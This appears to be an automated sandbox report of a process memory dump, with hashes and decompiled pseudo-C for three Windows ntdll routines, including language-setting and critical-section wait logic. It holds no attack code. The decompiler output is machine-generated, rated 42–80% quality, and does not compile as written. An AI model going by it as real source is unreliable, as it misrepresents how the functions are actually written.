PATH, xrefs: 1E3C2642, 1E3C2691

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: PATH
API String ID: 0-1036084923
Opcode ID: e47c25e319f91bd6a59ecb33fe56d9912a9db8a075bbe80e2bcdadd97b42fa3b
Instruction ID: 72f642eb46bfb4a24b1c31723179145795b5ec77f85e38cfc845e61996974d7e
Opcode Fuzzy Hash: e47c25e319f91bd6a59ecb33fe56d9912a9db8a075bbe80e2bcdadd97b42fa3b
Instruction Fuzzy Hash: D2C1CC75D00619DBCB15CFA9D8D0BADB7B5FF48B00F45462AE805AB250E775EC81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E39C962, Relevance: 1.6, APIs: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E1E39C962(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				intOrPtr _t22;
				void* _t26;
				void* _t27;
				void* _t32;
				intOrPtr _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x1e48d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E1E3AEEF0(0x1e4870a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E1E41F625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E1E3AEB70(_t29, 0x1e4870a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E1E3DB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E1E41F1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x1e4870c0; // 0x0
					while(_t38 != 0x1e4870c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x1e48b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x1e39c96a
0x1e39c974
0x1e39c988
0x1e39c98a
0x1e407c9d
0x1e407c9f
0x1e407ca4
0x1e407cae
0x1e407cf0
0x1e407cf5
0x1e407cfa
0x1e39c992
0x1e39c996
0x1e39c997
0x1e39c998
0x1e39c9a3
0x1e39c9a3
0x1e407cb0
0x1e407cb7
0x1e407cbb
0x00000000
0x00000000
0x1e407cbd
0x1e407ce8
0x1e407cc5
0x1e407cc8
0x1e407cca
0x1e407cd0
0x1e407cd6
0x1e407cde
0x1e407ce4
0x1e407ce4
0x1e407cd0
0x00000000
0x1e407ce8
0x1e39c990
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb3570d368ba4537998c766d35c2fcfb1d50c2008c0907f51ef9dcbd40eab7f
Instruction ID: 09bfe92beb4c408159329232bf754aa7f19622164a64f75d9adbedec06f974ff
Opcode Fuzzy Hash: 1bb3570d368ba4537998c766d35c2fcfb1d50c2008c0907f51ef9dcbd40eab7f
Instruction Fuzzy Hash: 6311E0312146829BC740EF69CC98A9AB7E6BF85210F10073AE842C7651DB20FC90D7D2

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CFAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E1E3CFAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E1E3AEEF0(0x1e487b60);
					_t134 =  *0x1e487b84; // 0x77f07b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x1e487b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x1e487b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E1E3A6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E1E3A76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E1E438938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E1E39B150();
													}
													_t116 = E1E436D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E1E3A75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x1e488638; // 0x85ef88
																	_t122 = L1E3A38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E1E3A76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E1E3A76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L1E3CFCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L1E3A70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E1E3CFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E1E3CFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E1E3CFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E1E3CFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E1E3CFD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x1e487b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x1e487b84 = _t75;
						_t73 = E1E3AEB70(_t134, 0x1e487b60);
						if( *0x1e487b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E1E3AFF60( *0x1e487b20);
							}
						}
						goto L5;
					}
				}
			}

0x1e3cfab0
0x1e3cfab2
0x1e3cfab3
0x1e3cfab4
0x1e3cfabc
0x1e3cfac0
0x1e3cfb14
0x1e3cfb17
0x1e3cfac2
0x1e3cfac8
0x1e3cfacd
0x1e3cfad3
0x1e3cfad3
0x1e3cfadd
0x1e3cfb18
0x1e3cfb1b
0x1e3cfb1d
0x1e3cfb1e
0x1e3cfb1f
0x1e3cfb20
0x1e3cfb21
0x1e3cfb22
0x1e3cfb23
0x1e3cfb24
0x1e3cfb25
0x1e3cfb26
0x1e3cfb27
0x1e3cfb28
0x1e3cfb29
0x1e3cfb2a
0x1e3cfb2b
0x1e3cfb2c
0x1e3cfb2d
0x1e3cfb2e
0x1e3cfb2f
0x1e3cfb3a
0x1e3cfb3b
0x1e3cfb3e
0x1e3cfb41
0x1e3cfb44
0x1e3cfb47
0x1e3cfb4a
0x1e3cfb4d
0x1e3cfb53
0x1e40bdcb
0x1e40bdcb
0x1e3cfb59
0x1e3cfb5b
0x1e3cfb5b
0x1e3cfb5e
0x1e40bdd5
0x1e40bdd8
0x00000000
0x1e40bdda
0x00000000
0x1e40bdda
0x1e3cfb64
0x1e3cfb64
0x1e3cfb64
0x1e3cfb67
0x1e3cfb6e
0x1e3cfb70
0x1e3cfb72
0x00000000
0x1e3cfb78
0x1e3cfb7a
0x1e3cfb7a
0x1e3cfb7d
0x1e3cfb80
0x1e40bddf
0x1e40bde1
0x00000000
0x1e40bde3
0x00000000
0x1e40bde3
0x1e3cfb86
0x1e3cfb86
0x1e3cfb86
0x1e3cfb8b
0x1e3cfb90
0x1e3cfb92
0x1e3cfb94
0x1e3cfb9a
0x1e3cfb9b
0x1e3cfba1
0x1e40bde8
0x1e40bdeb
0x1e40bded
0x1e40beb5
0x1e40beb5
0x1e40bebb
0x1e40bebd
0x1e40bec3
0x1e40bed2
0x1e40bedd
0x1e40bedd
0x1e40beed
0x00000000
0x1e40bdf3
0x1e40bdfe
0x1e40be06
0x1e40be0b
0x1e40be0d
0x1e40be0f
0x1e40be14
0x1e40be19
0x1e40be20
0x1e40be25
0x1e40be27
0x1e40be35
0x1e40be39
0x1e40be46
0x1e40be4f
0x1e40be54
0x1e40be56
0x1e40bef8
0x1e40bef8
0x00000000
0x1e40be5c
0x1e40be5c
0x1e40be60
0x00000000
0x1e40be66
0x1e40be66
0x1e40be7f
0x1e40be84
0x1e40be87
0x1e40be89
0x1e40be8b
0x1e40be99
0x1e40be9d
0x1e40bea0
0x1e40beac
0x1e40beaf
0x1e40beb1
0x1e40beb3
0x1e40beb3
0x00000000
0x1e40bea2
0x1e40bea2
0x00000000
0x1e40bea2
0x1e40be8d
0x1e40be8d
0x1e40be92
0x00000000
0x1e40be92
0x1e40be8b
0x1e40be60
0x1e40be3b
0x1e40be3b
0x1e40be3e
0x00000000
0x1e40be40
0x1e40be40
0x1e40be44
0x00000000
0x00000000
0x00000000
0x00000000
0x1e40be44
0x1e40be3e
0x1e40be29
0x1e40be29
0x00000000
0x1e40be29
0x1e40be27
0x00000000
0x1e3cfba7
0x1e3cfba7
0x1e3cfbab
0x1e40bf02
0x1e3cfbb1
0x1e3cfbb1
0x1e3cfbb8
0x1e3cfbbd
0x1e3cfbbd
0x1e3cfbbf
0x1e3cfbbf
0x1e3cfbc5
0x1e3cfbcb
0x1e3cfbf8
0x1e3cfbf8
0x1e3cfbfa
0x00000000
0x1e3cfc00
0x1e3cfc00
0x1e3cfc03
0x00000000
0x1e3cfc09
0x1e3cfc09
0x1e3cfc0f
0x1e3cfc15
0x1e3cfc23
0x1e3cfc23
0x1e3cfc25
0x1e3cfc27
0x1e3cfc75
0x1e3cfc7c
0x1e3cfc84
0x00000000
0x1e3cfc29
0x1e3cfc29
0x1e3cfc2d
0x1e3cfc30
0x1e40bf0f
0x00000000
0x1e3cfc36
0x1e3cfc38
0x1e3cfc3b
0x1e3cfc41
0x1e40bf17
0x1e40bf19
0x1e40bf48
0x1e40bf4b
0x00000000
0x1e40bf1b
0x1e40bf22
0x1e40bf24
0x1e40bf26
0x00000000
0x1e40bf2c
0x1e40bf37
0x1e40bf39
0x1e40bf3b
0x00000000
0x1e40bf41
0x1e40bf41
0x1e40bf41
0x1e40bf41
0x1e40bf45
0x00000000
0x1e40bf45
0x1e40bf3b
0x1e40bf26
0x00000000
0x1e3cfc47
0x1e3cfc47
0x1e3cfc49
0x1e3cfcb2
0x1e3cfcb4
0x1e3cfcb6
0x1e3cfcdc
0x1e3cfcdc
0x00000000
0x1e3cfcb8
0x1e3cfcc3
0x1e3cfcc5
0x1e3cfcc7
0x00000000
0x1e3cfcc9
0x1e3cfcc9
0x1e3cfccd
0x00000000
0x1e3cfccd
0x1e3cfcc7
0x00000000
0x1e3cfc4b
0x1e3cfc4b
0x1e3cfc4e
0x1e3cfc4e
0x1e3cfc51
0x1e3cfc51
0x1e3cfc54
0x1e3cfc5a
0x1e3cfc5c
0x1e3cfc5f
0x1e3cfc61
0x1e3cfc63
0x1e3cfc65
0x1e3cfc67
0x1e3cfc6e
0x1e3cfc72
0x1e3cfc72
0x1e3cfc72
0x1e3cfc72
0x1e3cfc67
0x1e3cfc61
0x00000000
0x1e3cfc5a
0x1e3cfc49
0x1e3cfc41
0x1e3cfc30
0x1e3cfc27
0x1e3cfc03
0x1e3cfbcd
0x1e3cfbd3
0x1e3cfbd9
0x1e3cfbdc
0x1e3cfbde
0x1e3cfc99
0x1e3cfc9b
0x1e3cfc9d
0x1e3cfcd5
0x1e3cfcd5
0x1e3cfc89
0x1e3cfc89
0x00000000
0x1e3cfc9f
0x1e3cfc9f
0x1e3cfca3
0x00000000
0x1e3cfca3
0x00000000
0x1e3cfbe4
0x1e3cfbe4
0x1e3cfbe4
0x1e3cfbe4
0x1e3cfbe9
0x1e3cfbf2
0x00000000
0x1e3cfbf2
0x1e3cfbde
0x1e3cfbcb
0x1e3cfbab
0x1e3cfc8b
0x1e3cfc8b
0x1e3cfc8c
0x1e3cfb80
0x1e3cfb72
0x1e3cfb5e
0x1e3cfc8d
0x1e3cfc91
0x1e3cfadf
0x1e3cfadf
0x1e3cfae1
0x1e3cfae4
0x1e3cfae7
0x1e3cfaec
0x1e3cfaf8
0x1e3cfb00
0x1e3cfb07
0x1e3cfb0f
0x1e3cfb0f
0x1e3cfb07
0x00000000
0x1e3cfaf8
0x1e3cfadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 1E40BE0F

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 4a491057c91910c42a76287194078a7296477e65038a07584bd5fc0991288e44
Instruction ID: 3b2aaeeab20f2830a564b8f97b221b74403f3fd9d5b111906fe062c38b2f7d9e
Opcode Fuzzy Hash: 4a491057c91910c42a76287194078a7296477e65038a07584bd5fc0991288e44
Instruction Fuzzy Hash: D3A10175B106868BD711CF65C460BAAB3E6AF48714F018B7BE946CB790DB34EC81CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1E392D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E1E392D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x1e485350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x1e487bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E1E3D97C0();
				}
				if( *0x1e4879c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x1e4879c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E1E3C1624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E1E3B7D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E1E42FE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E1E3D9520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E1E3CE18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								E1E3EDF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x1e486901;
								_push(_t109);
								_v52 = _t98;
								if( *0x1e486901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E1E3D9980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E1E3D95D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E1E3B7D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
										_t64 = ( *[fs:0x30])[0x50] + 0x22a;
									}
									__eflags =  *_t64;
									if( *_t64 != 0) {
										_t64 =  *[fs:0x30];
										__eflags = _t64[0x240] & 0x00000004;
										if((_t64[0x240] & 0x00000004) != 0) {
											_t78 = E1E3B7D50();
											__eflags = _t78;
											if(_t78 == 0) {
												_t64 = 0x7ffe0385;
											} else {
												_t64 = ( *[fs:0x30])[0x50] + 0x22b;
											}
											__eflags =  *_t64 & 0x00000020;
											if(( *_t64 & 0x00000020) != 0) {
												_t64 = E1E417016(0x1483, _t97 | 0xffffffff, 0xffffffff, 0xffffffff, 0, 0);
											}
										}
									}
								}
								return _t64;
							}
						}
						_t97 = _t88;
						_t93 = _t109;
						E1E42FDDA(_t97, _v12);
						_t105 =  *_t109;
						_t67 = _v12 + 1;
						_v12 = _t67;
						__eflags = _t105 - 0xffffffff;
						if(_t105 == 0xffffffff) {
							_t106 = 0;
							__eflags = 0;
						} else {
							_t106 =  *(_t105 + 0x14);
						}
						__eflags = _t67 - 2;
						if(_t67 > 2) {
							__eflags = _t109 - 0x1e485350;
							if(_t109 != 0x1e485350) {
								__eflags = _t106 - _v20;
								if(__eflags == 0) {
									_t93 = _t109;
									E1E42FFB9(_t88, _t93, _t97, _t106, _t109, __eflags);
								}
							}
						}
						_push("RTL: Re-Waiting\n");
						_push(0);
						_push(0x65);
						_v20 = _t106;
						E1E425720();
						_t104 = _v28;
						_t116 = _t116 + 0xc;
						continue;
					}
				}
			}

0x1e392d8a
0x1e392d8a
0x1e392d92
0x1e392d96
0x1e392d9e
0x1e392da0
0x1e392da3
0x1e392da5
0x1e392da8
0x1e392dab
0x1e392db2
0x1e3ef9aa
0x1e3ef9ab
0x1e3ef9ae
0x1e3ef9ae
0x1e392db8
0x1e392dc2
0x1e3ef9b9
0x1e3ef9be
0x1e3ef9bf
0x1e3ef9bf
0x1e392dcf
0x1e3ef9c9
0x1e392dd5
0x1e392dd5
0x1e392dd5
0x1e392dde
0x1e392de1
0x1e392e70
0x1e392e72
0x1e392e72
0x1e392de7
0x1e392deb
0x1e392e7c
0x1e392e83
0x1e392e85
0x1e392e8b
0x1e392e8d
0x1e392e92
0x1e392e92
0x1e392e85
0x1e392df1
0x1e392df7
0x1e392df9
0x1e392df9
0x1e392dfc
0x1e392dff
0x1e392e02
0x00000000
0x1e392e05
0x1e392e0c
0x1e3ef9d9
0x1e392e12
0x1e392e12
0x1e392e12
0x1e392e1a
0x1e3ef9e3
0x1e3ef9e9
0x1e3ef9f0
0x1e3ef9f6
0x1e3ef9f8
0x1e3ef9f8
0x1e3ef9f0
0x1e392e23
0x1e3efa02
0x1e3efa03
0x1e3efa05
0x1e3efa06
0x00000000
0x1e392e29
0x1e392e29
0x1e392e2e
0x1e392e34
0x1e392e3e
0x00000000
0x00000000
0x1e392e44
0x1e392e47
0x1e392e4d
0x00000000
0x00000000
0x1e392e4f
0x1e392e54
0x00000000
0x00000000
0x1e392e5a
0x1e392e5f
0x1e392e9a
0x1e392ea4
0x1e392ea5
0x1e392ea8
0x1e392eaf
0x1e392eb2
0x1e392eb5
0x1e3efae9
0x1e3efaeb
0x1e3efaed
0x1e3efaef
0x1e3efaf7
0x1e3efaf8
0x1e3efafd
0x1e3efaff
0x1e3efb04
0x1e3efb04
0x1e3efaff
0x1e392ec0
0x1e392ec4
0x1e392ec6
0x1e392ec8
0x1e3efb14
0x1e3efb18
0x1e3efb1e
0x1e3efb21
0x1e3efb21
0x1e392ece
0x1e392ece
0x1e392ece
0x1e392ed7
0x1e392e61
0x1e392e63
0x1e3efa6b
0x1e3efa71
0x1e3efa76
0x1e3efa78
0x1e3efa8a
0x1e3efa7a
0x1e3efa83
0x1e3efa83
0x1e3efa8f
0x1e3efa91
0x1e3efa97
0x1e3efa9d
0x1e3efaa4
0x1e3efaaa
0x1e3efaaf
0x1e3efab1
0x1e3efac3
0x1e3efab3
0x1e3efabc
0x1e3efabc
0x1e3efac8
0x1e3efacb
0x1e3efadf
0x1e3efadf
0x1e3efacb
0x1e3efaa4
0x1e3efa91
0x1e392e6f
0x1e392e6f
0x1e392e5f
0x1e3efa13
0x1e3efa15
0x1e3efa17
0x1e3efa1f
0x1e3efa21
0x1e3efa22
0x1e3efa25
0x1e3efa28
0x1e3efa2f
0x1e3efa2f
0x1e3efa2a
0x1e3efa2a
0x1e3efa2a
0x1e3efa31
0x1e3efa34
0x1e3efa36
0x1e3efa3c
0x1e3efa3e
0x1e3efa41
0x1e3efa43
0x1e3efa45
0x1e3efa45
0x1e3efa41
0x1e3efa3c
0x1e3efa4a
0x1e3efa4f
0x1e3efa51
0x1e3efa53
0x1e3efa56
0x1e3efa5b
0x1e3efa5e
0x00000000
0x1e3efa5e
0x1e392e23

Strings

RTL: Re-Waiting, xrefs: 1E3EFA4A

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

